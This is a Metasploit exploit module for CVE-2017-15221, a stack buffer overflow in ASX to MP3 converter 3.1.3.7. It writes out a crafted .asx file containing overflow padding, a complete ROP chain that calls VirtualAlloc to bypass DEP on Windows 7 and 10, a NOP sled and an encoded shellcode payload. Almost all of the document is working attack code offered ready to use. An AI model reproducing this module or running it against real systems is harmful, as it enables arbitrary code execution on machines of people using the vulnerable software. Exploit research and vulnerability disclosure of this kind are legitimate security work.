ASX to MP3 converter 3.1.3.7 – ‘.asx’ Local Stack Overflow (DEP Bypass) (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP)", 'Description' => %q{ This module exploits a stack buffer overflow in ASX to MP3 converter 3.1.3.7. By constructing a specially crafted ASX file and attempting to convert it to an MP3 file in the application, a buffer is overwritten, which allows for running shellcode. Tested on: Microsoft Windows 7 Enterprise, 6.1.7601 Service Pack 1 Build 7601, x64-based PC Microsoft Windows 10 Pro, 10.0.18362 N/A Build 18362, x64-based PC }, 'License' => MSF_LICENSE, 'Author' => [ 'Maxim Guslyaev', # EDB POC, Metasploit Module ], 'References' => [ [ 'CVE', '2017-15221' ], [ 'EDB', '47468' ] ], 'Platform' => 'win', 'Targets' => [ [ 'Windows 7 Enterprise/10 Pro', { 'Ret' => 0x1002D038 # RET } ] ], 'Payload' => { 'BadChars' => "\x00\x09\x0a" }, 'Privileged' => false, 'DisclosureDate' => "Oct 06 2019", 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [true, 'The malicious file name', 'music.asx']) ]) end def exploit buf = "http://" buf += "A" * 17417 + [target.ret].pack("V") + "CCCC" ## Save allocation type (0x1000) in EDX buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN buf += [0x11111111].pack("V") buf += [0x10029B8C].pack("V") # XOR EDX,EDX # RETN buf += [0x1002D493].pack("V") # POP EDX # RETN buf += [0xEEEEFEEF].pack("V") buf += [0x10047F4D].pack("V") # ADC EDX,ESI # POP ESI # RETN buf += [0x41414141].pack("V") ## Save the address of VirtualAlloc() in ESI buf += [0x1002fade].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] buf += [0x1004f060].pack("V") # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll] buf += [0x1003239f].pack("V") # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSA2Mfilter03.dll] buf += [0x10040754].pack("V") # PUSH EAX # POP ESI # POP EBP # LEA EAX,DWORD PTR DS:[ECX+EAX+D] # POP EBX # RETN buf += [0x41414141].pack("V") buf += [0x41414141].pack("V") ## Save the size of the block in EBX buf += [0x1004d881].pack("V") # XOR EAX,EAX # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x1003b34d].pack("V") # ADD EAX,29 # RETN buf += [0x10034735].pack("V") # PUSH EAX # ADD AL,5D # MOV EAX,1 # POP EBX # RETN ## Save the address of (# ADD ESP,8 # RETN) in EBP buf += [0x10031c6c].pack("V") # POP EBP # RETN buf += [0x10012316].pack("V") # ADD ESP,8 # RETN #buf += [0x1003df73].pack("V") # & PUSH ESP # RETN ## Save memory protection code (0x40) in ECX buf += [0x1002ca22].pack("V") # POP ECX # RETN buf += [0xFFFFFFFF].pack("V") buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN buf += [0x10031ebe].pack("V") # INC ECX # AND EAX,8 # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN buf += [0x1002a5b7].pack("V") # ADD ECX,ECX # RETN ## Save ROP-NOP in EDI buf += [0x1002e346].pack("V") # POP EDI # RETN buf += [0x1002D038].pack("V") # RETN ## Save NOPs in EAX #buf += [0x1003bca4].pack("V") # POP EAX # RETN [MSA2Mfilter03.dll] #buf += [0x90909090].pack("V") # nop ## Set up the EAX register to contain the address of # PUSHAD #RETN and JMP to this address buf += [0x1002E516].pack("V") # POP EAX # RETN buf += [0xA4E2F275].pack("V") buf += [0x1003efe2].pack("V") # ADD EAX,5B5D5E5F # RETN buf += [0x10040ce5].pack("V") # PUSH EAX # RETN buf += "\x90" * 4 buf += [0x1003df73].pack("V") # & PUSH ESP # RETN buf += "\x90" * 20 buf += payload.encoded file_create(buf) end end |